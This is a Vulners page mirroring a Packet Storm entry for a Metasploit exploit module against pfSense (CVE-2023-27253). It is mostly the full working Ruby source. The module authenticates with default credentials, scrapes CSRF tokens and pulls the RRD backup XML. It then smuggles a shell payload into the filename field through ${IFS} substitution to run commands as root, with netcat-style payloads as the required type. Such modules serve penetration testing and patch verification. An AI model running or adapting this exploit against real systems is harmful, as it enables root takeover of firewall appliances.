Lucene search
K

pfSense Restore RRD Data Command Injection

🗓️ 13 Jul 2023 00:00:00Reported by Emir Polat, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 360 Views

Exploits command injection in pfSense's "restore_rrddata()" function allowing arbitrary OS command execution by authenticated user. Tested on version 2.6.0-RELEASE.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
pfSense v2.7.0 - OS Command Injection Exploit
21 Jul 202300:00
zdt
Circl
CVE-2023-27253
18 Mar 202301:31
circl
CNNVD
pfSense 安全漏洞
17 Mar 202300:00
cnnvd
CVE
CVE-2023-27253
17 Mar 202300:00
cve
Cvelist
CVE-2023-27253
17 Mar 202300:00
cvelist
Exploit DB
pfSense v2.7.0 - OS Command Injection
20 Jul 202300:00
exploitdb
Metasploit
pfSense Restore RRD Data Command Injection
12 Jul 202319:51
metasploit
NVD
CVE-2023-27253
17 Mar 202322:15
nvd
Prion
Command injection
17 Mar 202322:15
prion
Positive Technologies
PT-2023-21032 · Netgate · Pfsense
17 Mar 202300:00
ptsecurity
Rows per page
`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'pfSense Restore RRD Data Command Injection',  
'Description' => %q{  
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of  
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"  
privilege to execute arbitrary operating system commands as the "root" user.  
  
This module has been tested successfully on version 2.6.0-RELEASE.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Emir Polat', # vulnerability discovery & metasploit module  
],  
'References' => [  
['CVE', '2023-27253'],  
['URL', 'https://redmine.pfsense.org/issues/13935'],  
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']  
],  
'DisclosureDate' => '2023-03-18',  
'Platform' => ['unix'],  
'Arch' => [ ARCH_CMD ],  
'Privileged' => true,  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'Payload' => {  
'BadChars' => "\x2F\x27",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic netcat'  
}  
},  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
  
register_options [  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])  
]  
end  
  
def check  
unless login  
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
unless res&.body&.include?('Diagnostics: ')  
return Exploit::CheckCode::Safe('Vulnerable module not reachable')  
end  
  
version = detect_version  
unless version  
return Exploit::CheckCode::Detected('Unable to get the pfSense version')  
end  
  
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')  
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")  
end  
  
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")  
end  
  
def login  
# Skip the login process if we are already logged in.  
return true if @logged_in  
  
csrf = get_csrf('index.php', 'GET')  
unless csrf  
print_error('Could not get the expected CSRF token for index.php when attempting login!')  
return false  
end  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'vars_post' => {  
'__csrf_magic' => csrf,  
'usernamefld' => datastore['USERNAME'],  
'passwordfld' => datastore['PASSWORD'],  
'login' => ''  
},  
'keep_cookies' => true  
)  
  
if res && res.code == 302  
@logged_in = true  
true  
else  
false  
end  
end  
  
def detect_version  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
  
# If the response isn't a 200 ok response or is an empty response, just return nil.  
unless res && res.code == 200 && res.body  
return nil  
end  
  
if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?  
nil  
else  
version  
end  
end  
  
def get_csrf(uri, methods)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, uri),  
'method' => methods,  
'keep_cookies' => true  
)  
  
unless res && res.body  
return nil # If no response was returned or an empty response was returned, then return nil.  
end  
  
# Try regex match the response body and save the match into a variable named csrf.  
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?  
return nil # No match could be found, so the variable csrf won't be defined.  
else  
return csrf  
end  
end  
  
def drop_config  
csrf = get_csrf('diag_backup.php', 'GET')  
unless csrf  
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')  
end  
  
post_data = Rex::MIME::Message.new  
  
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')  
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')  
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')  
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')  
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')  
post_data.add_part('', nil, nil, 'form-data; name="restorearea"')  
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')  
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s,  
'keep_cookies' => true  
)  
  
if res && res.code == 200 && res.body =~ /<rrddatafile>/  
return res.body  
else  
return nil  
end  
end  
  
def exploit  
unless login  
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')  
end  
  
csrf = get_csrf('diag_backup.php', 'GET')  
unless csrf  
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')  
end  
  
config_data = drop_config  
if config_data.nil?  
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')  
end  
  
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?  
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')  
end  
config_data.gsub!(' ', '${IFS}')  
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")  
  
post_data = Rex::MIME::Message.new  
  
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')  
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')  
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')  
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')  
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')  
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')  
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')  
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")  
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')  
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s,  
'keep_cookies' => true  
)  
  
if res  
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jul 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.18.8
EPSS0.79155
SSVC
360